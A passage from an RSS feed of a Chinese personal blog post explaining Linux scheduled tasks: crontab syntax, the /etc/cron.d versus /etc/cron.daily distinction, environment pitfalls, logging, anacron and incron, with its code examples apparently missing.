<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Qetx Blog</title>
        <link>http://qetx.top/</link>
        <description>个人小破站</description>
        <lastBuildDate>Fri, 07 Aug 2026 14:28:23 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>All rights reserved 2026, NotionNext</copyright>
        <item>
            <title><![CDATA[Linux 自动任务详解：cron、anacron、incron 与 systemd timer]]></title>
            <link>http://qetx.top/article/linux-automation-cron-anacron-incron-systemd-timer</link>
            <guid>http://qetx.top/article/linux-automation-cron-anacron-incron-systemd-timer</guid>
            <pubDate>Fri, 07 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[系统梳理 Linux 按时间触发和按文件事件触发的自动任务机制，重点区分 cron 规则目录、run-parts 脚本目录、anacron、incron 与 systemd timer 的执行链路。]]></description>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-3b5b233d873181f0b442fb8edf0965a0"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-682582b802ad41c4900b44faf3fb5f0b" data-id="682582b802ad41c4900b44faf3fb5f0b"><span><div id="682582b802ad41c4900b44faf3fb5f0b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#682582b802ad41c4900b44faf3fb5f0b" title="前言"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">前言</span></span></h3><div class="notion-text notion-block-ff24805d1ff94c2eaceadd077bfb1660">Linux 里所谓“定时任务”，本质是把某个命令或脚本交给调度器，让它在指定时间、固定间隔、系统事件或文件事件发生时自动执行。常见选择有四类：<code class="notion-inline-code">cron/crontab</code> 负责传统周期任务，<code class="notion-inline-code">anacron</code> 适合不会 24 小时开机的机器补跑日/周/月任务，<code class="notion-inline-code">incrond/incrontab</code> 适合按文件创建、修改、移动、关闭等事件触发命令，<code class="notion-inline-code">systemd timer</code> 更适合已经使用 systemd 管理服务的现代 Linux 系统。</div><div class="notion-text notion-block-3a6cebf492f1408581e7d192f99ab9a4">这篇文章是基于几篇网上资料整理出来的入门到排错笔记，目标是让你能写出可运行、可观察、可维护的 Linux 定时任务。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-2f2d6f3601fa4e1bbd62d45e4f101029" data-id="2f2d6f3601fa4e1bbd62d45e4f101029"><span><div id="2f2d6f3601fa4e1bbd62d45e4f101029" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2f2d6f3601fa4e1bbd62d45e4f101029" title="参考文章速览"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">参考文章速览</span></span></h3><ul class="notion-list notion-list-disc notion-block-d9a8bda0b1a54b8d89a08e50bfcfc82d"><li><a class="notion-link" href="https://linuxize.com/post/scheduling-cron-jobs-with-crontab/" target="_blank" rel="noopener noreferrer">Linuxize: Crontab: Scheduling Cron Jobs in Linux</a>：覆盖 crontab 语法、宏、环境变量、系统级 crontab、常见排错，适合作为 cron 速查手册。</li></ul><ul class="notion-list notion-list-disc notion-block-767d1e4790934ee491fc783c32ac8505"><li><a class="notion-link" href="https://www.redhat.com/en/blog/automate-linux-tasks-cron" target="_blank" rel="noopener noreferrer">Red Hat: Automate your Linux system tasks with cron</a>：用备份脚本例子解释 cron 的用户权限、路径、间隔写法和实际踩坑。</li></ul><ul class="notion-list notion-list-disc notion-block-907fb72175884c0f9034725a6bd36ddf"><li><a class="notion-link" href="https://www.ruanyifeng.com/blog/2018/03/systemd-timer.html" target="_blank" rel="noopener noreferrer">阮一峰：Systemd 定时器教程</a>：用 service + timer 的方式讲清 systemd timer 的文件结构、启动命令和日志查看。</li></ul><ul class="notion-list notion-list-disc notion-block-5bd631723fb142869487c169c8a9398e"><li><a class="notion-link" href="https://www.debian.org/doc/manuals/debian-reference/ch09.en.html" target="_blank" rel="noopener noreferrer">Debian Reference: Scheduling tasks regularly</a>：从 Debian 视角说明 cron、anacron、<code class="notion-inline-code">/etc/cron.hourly</code> 等目录和 systemd timer 的定位。</li></ul><ul class="notion-list notion-list-disc notion-block-54ee1db4ecdc4e029940a670a2edc2a2"><li><a class="notion-link" href="https://manpages.debian.org/incrontab.5" target="_blank" rel="noopener noreferrer">Debian Manpages: incrontab(5)</a>：说明 incrontab 的三段式格式、系统表和用户表、常见 inotify 事件掩码。</li></ul><ul class="notion-list notion-list-disc notion-block-aef91a42700b454cbe0fd75c8c60a252"><li><a class="notion-link" href="https://wiki.archlinux.org/title/Incron" target="_blank" rel="noopener noreferrer">ArchWiki: incron</a>：列举 incron 支持的事件类型和一些实用注意事项。</li></ul><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-fe3bb884d78045a3a4fc907dd1e2eb9c" data-id="fe3bb884d78045a3a4fc907dd1e2eb9c"><span><div id="fe3bb884d78045a3a4fc907dd1e2eb9c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#fe3bb884d78045a3a4fc907dd1e2eb9c" title="cron、crontab、crond 是什么"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">cron、crontab、crond 是什么</span></span></h3><div class="notion-text notion-block-d3a224cc67334523b4d524ccd838f20e"><code class="notion-inline-code">cron</code> 通常指 Linux 上的周期任务调度机制。真正常驻后台的是 cron daemon，不同发行版里服务名可能是 <code class="notion-inline-code">cron</code> 或 <code class="notion-inline-code">crond</code>。用户平时主要用 <code class="notion-inline-code">crontab</code> 命令管理自己的任务表。</div><div class="notion-text notion-block-7fffa8b55e4d4f528e4afbec458eaf93">核心关系可以这样理解：</div><ul class="notion-list notion-list-disc notion-block-fce00faa6b36464192641f28ae544a7d"><li><code class="notion-inline-code">crond</code> 或 <code class="notion-inline-code">cron</code> 服务：后台调度器，按时间检查任务并执行。</li></ul><ul class="notion-list notion-list-disc notion-block-120837bb59a44e78baf49d62d7ab3ed1"><li><code class="notion-inline-code">crontab</code> 命令：用来编辑、查看、删除当前用户的任务表。</li></ul><ul class="notion-list notion-list-disc notion-block-cebd6aee35c34d2e86a9424d67a58b81"><li>crontab 文件：保存一行行任务规则，描述“什么时候执行什么命令”。</li></ul><ul class="notion-list notion-list-disc notion-block-7e2a5f29fb1a4d79a63938c6ee549d94"><li>cron job：某一条具体的定时任务。</li></ul><div class="notion-text notion-block-f2a49912e88143a596b366098cf6912b">Red Hat 的文章强调，一个用户创建的 cron 任务会以该用户权限运行；root 创建的任务则以 root 权限运行。因此定时任务不是“凭空获得权限”，它受创建者权限、文件权限和执行路径约束。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-7c59c899da6f4170b0ff00f7acde1793" data-id="7c59c899da6f4170b0ff00f7acde1793"><span><div id="7c59c899da6f4170b0ff00f7acde1793" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7c59c899da6f4170b0ff00f7acde1793" title="用户级 crontab 和系统级 crontab"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">用户级 crontab 和系统级 crontab</span></span></h3><div class="notion-text notion-block-4c2a8cf3035e43418eea07eb585a62e2">最常用的是用户级 crontab：</div><div class="notion-text notion-block-f0958790369544cb86b95a7b6d3461c9">用户级 crontab 每行一般是 5 个时间字段加命令：</div><div class="notion-text notion-block-136cff1d346b484db4d48ad7acae0b49">系统级 cron 相关路径常见有两类，容易混在一起：</div><ul class="notion-list notion-list-disc notion-block-7945f2aeb30449ac96ae28abe6bd2b5c"><li><code class="notion-inline-code">/etc/crontab</code>：系统主 crontab 文件，里面直接写时间规则。</li></ul><ul class="notion-list notion-list-disc notion-block-2fa617fe142c448d828d14494b87e0c5"><li><code class="notion-inline-code">/etc/cron.d/</code>：系统级规则目录，目录里的每个文件本身就是一份 cron 规则文件。</li></ul><ul class="notion-list notion-list-disc notion-block-dac9d52176454d2b8cdcc325ad79dcce"><li><code class="notion-inline-code">/etc/cron.hourly/</code>、<code class="notion-inline-code">/etc/cron.daily/</code>、<code class="notion-inline-code">/etc/cron.weekly/</code>、<code class="notion-inline-code">/etc/cron.monthly/</code>：脚本目录，目录里的文件通常是待执行脚本，不直接写时间字段。</li></ul><div class="notion-text notion-block-b7baf628b1f64694b9297fccaae0a9a5">系统级 crontab 和用户级 crontab 的一个重要区别是：系统级规则通常多一个“以哪个用户运行”的字段。</div><div class="notion-text notion-block-d6fa7c151e36472a9290d5e0c57cb958">例如 <code class="notion-inline-code">/etc/cron.d/a</code> 可以直接写：</div><div class="notion-text notion-block-9aa9e7115601401aa51a1b671362e966">只要这个文件格式正确，<code class="notion-inline-code">crond</code> 会自动扫描 <code class="notion-inline-code">/etc/cron.d/*</code> 并识别这条规则，不需要再去 <code class="notion-inline-code">/etc/crontab</code> 里额外 include 或添加引用。它的执行关系是：</div><div class="notion-text notion-block-297d84484d7d49e5b751c7971b151399"><code class="notion-inline-code">/etc/cron.d/a</code> 这类文件本身不需要执行权限；通常建议属主为 <code class="notion-inline-code">root:root</code>，权限为 <code class="notion-inline-code">0644</code>，并且每条任务必须包含执行用户。</div><div class="notion-text notion-block-9f95f504b9bf4bf2b4ab237766a6d4f2">但 <code class="notion-inline-code">/etc/cron.daily/a</code> 不一样。它通常是脚本，例如：</div><div class="notion-text notion-block-62e40cc24b24459d983690055b94d5f3">脚本里没有时间规则，需要由另一条统一调度规则调用整个目录，常见形式是：</div><div class="notion-text notion-block-89b7c548695c4c2f8a10bbb29caf7dba">这条调用规则不一定直接写在 <code class="notion-inline-code">/etc/crontab</code>，也可能由 <code class="notion-inline-code">/etc/anacrontab</code>、<code class="notion-inline-code">/etc/cron.d/0hourly</code> 或 systemd timer 间接触发。它的执行关系更像：</div><div class="notion-text notion-block-1a03c26dee7f4164ac2c478e11ae156b">可以用这个表区分：</div><table class="notion-simple-table notion-block-9c6ff606edf14cca8e230c9a44727a8c"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-874d089697054542a282b23787c5b3a8"><td class="" style="width:120px"><div class="notion-simple-table-cell">路径</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">里面放什么</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">是否包含时间规则</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">谁读取或执行</div></td></tr><tr class="notion-simple-table-row notion-block-b2bdd216f0754024a2385d6c0a58f77b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/cron.d/</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">cron 规则文件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">crond</code> 直接读取规则</div></td></tr><tr class="notion-simple-table-row notion-block-cbeb254645de40b7bc7eb5300dd5eddc"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">/etc/cron.daily/</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">待执行脚本</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">run-parts</code> 统一执行脚本</div></td></tr></tbody></table><div class="notion-text notion-block-cc3ab18741634d7db06492987f291c73">所以准确说：<code class="notion-inline-code">/etc/cron.d/a</code> 是一份独立的定时任务配置；<code class="notion-inline-code">/etc/cron.daily/a</code> 是一个等待每日调度机制调用的脚本。</div><div class="notion-text notion-block-6a49d935e5f146c5850fb793bc20751e">如果只是给自己账号加任务，优先用 <code class="notion-inline-code">crontab -e</code>。如果是系统维护任务、需要明确执行用户、需要放到配置管理里，再考虑 <code class="notion-inline-code">/etc/crontab</code> 或 <code class="notion-inline-code">/etc/cron.d/</code>。如果只是想让脚本加入每日/每周/每月批处理，则考虑放进对应的 <code class="notion-inline-code">cron.daily</code>、<code class="notion-inline-code">cron.weekly</code>、<code class="notion-inline-code">cron.monthly</code> 脚本目录。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-fcfd6eb09ce44e07af5e89f326be652a" data-id="fcfd6eb09ce44e07af5e89f326be652a"><span><div id="fcfd6eb09ce44e07af5e89f326be652a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#fcfd6eb09ce44e07af5e89f326be652a" title="crontab 时间字段写法"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">crontab 时间字段写法</span></span></h3><div class="notion-text notion-block-dda08d8bed5041ccbae8607d2fe179aa">常用符号：</div><ul class="notion-list notion-list-disc notion-block-2911aea8b287465e82e3d4ea923f8516"><li><code class="notion-inline-code">*</code>：任意值，例如 <code class="notion-inline-code">* * * * *</code> 表示每分钟。</li></ul><ul class="notion-list notion-list-disc notion-block-34e4a68fe5894643912e5aae18d6e51e"><li><code class="notion-inline-code">,</code>：列举多个值，例如 <code class="notion-inline-code">1,3,5</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-c3b0a4ac03024636bd95e3a17e5cbcb1"><li><code class="notion-inline-code">-</code>：范围，例如 <code class="notion-inline-code">1-5</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-2e20cd8674db4a76a540980c5a214d40"><li><code class="notion-inline-code">/</code>：步长，例如 <code class="notion-inline-code">*/15</code> 表示每 15 个单位。</li></ul><div class="notion-text notion-block-1be11824f7d741dcba81f0ebc5fd356b">常见例子：</div><div class="notion-text notion-block-6bf736a4f79b44709ad5b6c14173730a">cron 还有一些预定义宏，便于表达常见周期：</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-c6b3c35de95346babc38e158a1f2c00b" data-id="c6b3c35de95346babc38e158a1f2c00b"><span><div id="c6b3c35de95346babc38e158a1f2c00b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c6b3c35de95346babc38e158a1f2c00b" title="一个推荐的新手测试流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">一个推荐的新手测试流程</span></span></h3><div class="notion-text notion-block-9a5002f17e114193a823ff6a93b8ec77">第一次写定时任务，不要直接上复杂业务脚本。可以先做一个最小可观察任务：</div><div class="notion-text notion-block-239b205762f246d6a0d52acb7e4ccc64">然后按这个顺序检查：</div><div class="notion-text notion-block-6f8306d646074268a34b9c1bbb836265">确认简单任务可以跑之后，再替换成真实脚本。真实脚本建议手动先跑一遍：</div><div class="notion-text notion-block-b683f36e8f6a491c9d4e2d79ced69205">如果手动都跑不通，放进 cron 之后只会更难排查。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-1b6c3ce84c4a4b5a9512d6817d74ff36" data-id="1b6c3ce84c4a4b5a9512d6817d74ff36"><span><div id="1b6c3ce84c4a4b5a9512d6817d74ff36" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1b6c3ce84c4a4b5a9512d6817d74ff36" title="环境变量和路径是 cron 最大的坑"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">环境变量和路径是 cron 最大的坑</span></span></h3><div class="notion-text notion-block-c40789a8d4c64096a89ee54c66a1955c">cron 执行环境通常比交互式 shell 简陋。你在终端里能跑通，不代表 cron 能跑通。最常见原因是 <code class="notion-inline-code">PATH</code> 不一样、当前目录不一样、shell 不一样。</div><div class="notion-text notion-block-34dbd5033cf643bb867a5727c6c2f2f3">建议在 crontab 顶部显式声明环境：</div><div class="notion-text notion-block-dc636f74f670496cb7a1766a6095a932">然后命令里尽量写绝对路径：</div><div class="notion-text notion-block-5219b4993bf14ee49213bef0574f73b9">脚本内部也尽量不要依赖当前目录：</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-eb20e744546c4906a8ff068020f4627e" data-id="eb20e744546c4906a8ff068020f4627e"><span><div id="eb20e744546c4906a8ff068020f4627e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#eb20e744546c4906a8ff068020f4627e" title="输出、日志和邮件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">输出、日志和邮件</span></span></h3><div class="notion-text notion-block-21719b035f2946f0a2a7c4abbd46b710">cron 默认会把任务输出通过邮件发给任务所有者，但很多服务器没有配置邮件服务，于是你可能“看不见错误”。更稳妥的做法是自己重定向日志：</div><div class="notion-text notion-block-eb93872a3d4f491d9c1ca678b2aa8ce8">如果你确实配置了邮件，可以使用：</div><div class="notion-text notion-block-3ccc8e5037b94880996da0fa2bf5d715">如果不想发邮件：</div><div class="notion-text notion-block-ab781c781fcc44f68a326a36c5253696">排错时常用命令：</div><div class="notion-text notion-block-7396002d138e4ca395c648a3022b45b3">不同发行版日志位置不完全一致，也可以检查 <code class="notion-inline-code">/var/log/syslog</code>、<code class="notion-inline-code">/var/log/cron</code> 或系统 journal。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3d7a1b3c534643b78c50f0c35819e7bd" data-id="3d7a1b3c534643b78c50f0c35819e7bd"><span><div id="3d7a1b3c534643b78c50f0c35819e7bd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3d7a1b3c534643b78c50f0c35819e7bd" title="权限、重叠和幂等"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">权限、重叠和幂等</span></span></h3><div class="notion-text notion-block-6c5fc486ba4d4cabb1a6c3a8e589d886">定时任务真正上线前，要想清楚三件事。</div><div class="notion-text notion-block-c23ea2004614417380b127acd39f6844">第一，执行用户是谁。备份系统目录可能需要 root，但普通业务同步任务最好用普通用户。能不用 root 就不用 root。</div><div class="notion-text notion-block-11074fd9c8594ae5aa26c0dc7bc3b8b4">第二，任务会不会重叠。比如任务每 5 分钟执行一次，但脚本偶尔跑 20 分钟，就可能出现多个实例同时跑。可以用锁文件控制：</div><div class="notion-text notion-block-ce1d8781794549949c84f9cbb7e917ec">第三，脚本是否幂等。重复执行是否安全？网络失败后再次执行会不会重复写入、重复扣费、重复删除？定时任务最怕“默默重复犯错”。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-d51c59e725c1420cbe2addcd1a424ef2" data-id="d51c59e725c1420cbe2addcd1a424ef2"><span><div id="d51c59e725c1420cbe2addcd1a424ef2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d51c59e725c1420cbe2addcd1a424ef2" title="anacron：适合不全天开机的机器"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">anacron：适合不全天开机的机器</span></span></h3><div class="notion-text notion-block-0dac34ab33f543c89719fcea78950bcd">cron 的特点是“到了那个时间点就执行”。如果机器当时关机或休眠，传统 cron 任务可能就错过了。Debian Reference 提到，系统不连续运行时，可以安装 <code class="notion-inline-code">anacron</code>，让周期性命令在机器可用时尽量接近指定间隔执行。</div><div class="notion-text notion-block-e4da3b73c57b44acaf31273b5691b131">适合 anacron 的场景：</div><ul class="notion-list notion-list-disc notion-block-0608afca4c8e47778817d57c62789541"><li>个人电脑、笔记本，不保证 24 小时在线。</li></ul><ul class="notion-list notion-list-disc notion-block-73527da46ecd473db82fdc37765fdf91"><li>日报、周报、日志轮转、缓存清理等“错过后补跑也可以”的任务。</li></ul><ul class="notion-list notion-list-disc notion-block-44d13a1e0e0d4968b4c31903b666c4e5"><li>不要求精确到某一分钟，只要求周期性完成。</li></ul><div class="notion-text notion-block-d8bbf2ac0c5a4fcd9191aa9f1cc0cfd6">不适合 anacron 的场景：</div><ul class="notion-list notion-list-disc notion-block-be001581a4804790b20729696712ace9"><li>每 5 分钟探活。</li></ul><ul class="notion-list notion-list-disc notion-block-da49f64c1ac3425d86c46b4ac25e3dfc"><li>到点必须执行的交易、通知、采集任务。</li></ul><ul class="notion-list notion-list-disc notion-block-6ca14ef7ac984478a740df69a4f2234a"><li>依赖精确时间窗口的任务。</li></ul><div class="notion-text notion-block-069f4f77eba440359b91a003f82b5dcb">在 Debian/Ubuntu 体系里，<code class="notion-inline-code">/etc/cron.daily/</code>、<code class="notion-inline-code">/etc/cron.weekly/</code>、<code class="notion-inline-code">/etc/cron.monthly/</code> 这类目录经常会和 cron/anacron 机制一起使用。具体执行时间可以通过 <code class="notion-inline-code">/etc/crontab</code>、<code class="notion-inline-code">/etc/anacrontab</code> 等文件调整。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-e393282474c849ccbe20f3ecbf8c1cb7" data-id="e393282474c849ccbe20f3ecbf8c1cb7"><span><div id="e393282474c849ccbe20f3ecbf8c1cb7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e393282474c849ccbe20f3ecbf8c1cb7" title="incrond：按文件事件触发任务"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">incrond：按文件事件触发任务</span></span></h3><div class="notion-text notion-block-5d27d005778f4477b4a298ce67f0c7bd"><code class="notion-inline-code">incrond</code> 可以理解成“基于 inotify 的 cron”。cron 关心时间点，incrond 关心文件系统事件：某个文件被修改、目录里新建文件、文件移动进来、写入完成并关闭等事件发生时，就执行一条命令。</div><div class="notion-text notion-block-54ca4452b1564db1b27b43f053834ad5">核心组件：</div><ul class="notion-list notion-list-disc notion-block-cd58949c186b4691a96df7b404f7122a"><li><code class="notion-inline-code">incrond</code>：后台 daemon，负责监听文件系统事件并执行命令。</li></ul><ul class="notion-list notion-list-disc notion-block-5ee789ec09ba41d1a5083526abe25d49"><li><code class="notion-inline-code">incrontab</code>：管理当前用户的 incron 规则，类似 <code class="notion-inline-code">crontab</code>。</li></ul><ul class="notion-list notion-list-disc notion-block-06191aa31f814edc994d9c74dadf7898"><li><code class="notion-inline-code">/etc/incron.d/</code>：系统级 incron 规则目录，目录里的文件本身就是事件规则文件，通常以 root 权限运行。</li></ul><ul class="notion-list notion-list-disc notion-block-5ebc2847068947d6badc0a81d679df62"><li><code class="notion-inline-code">/etc/incron.allow</code> 和 <code class="notion-inline-code">/etc/incron.deny</code>：控制哪些用户可以使用 incron。</li></ul><div class="notion-text notion-block-06694ea911854572b94f0249dc72b51b">它和 cron 目录体系可以类比，但不要误解成脚本目录：<code class="notion-inline-code">/etc/incron.d/</code> 更像 <code class="notion-inline-code">/etc/cron.d/</code>，不是 <code class="notion-inline-code">/etc/cron.daily/</code>。也就是说，<code class="notion-inline-code">/etc/incron.d/a</code> 里面直接写“监听哪个路径、什么事件、执行什么命令”，<code class="notion-inline-code">incrond</code> 会读取规则并根据文件事件触发命令。</div><div class="notion-text notion-block-15aa0b5d961c4e858777f8ee9ebc73d0">执行关系是：</div><div class="notion-text notion-block-d7ad017c68814f91b1418af7163ade0c">一个系统级规则文件例如 <code class="notion-inline-code">/etc/incron.d/upload</code> 可以写：</div><div class="notion-text notion-block-897b0b804049435489f43817cef24a2a">这类文件本身同样不需要执行权限；重点是文件内容要符合 incrontab 规则格式，并且要注意 root 权限执行带来的风险。</div><div class="notion-text notion-block-0cdb581c840c4f85a896cdf7ecd54bed">用户级命令和 crontab 很像：</div><div class="notion-text notion-block-00254af3827d404d9fcabe9cf3f34412">一条 incrontab 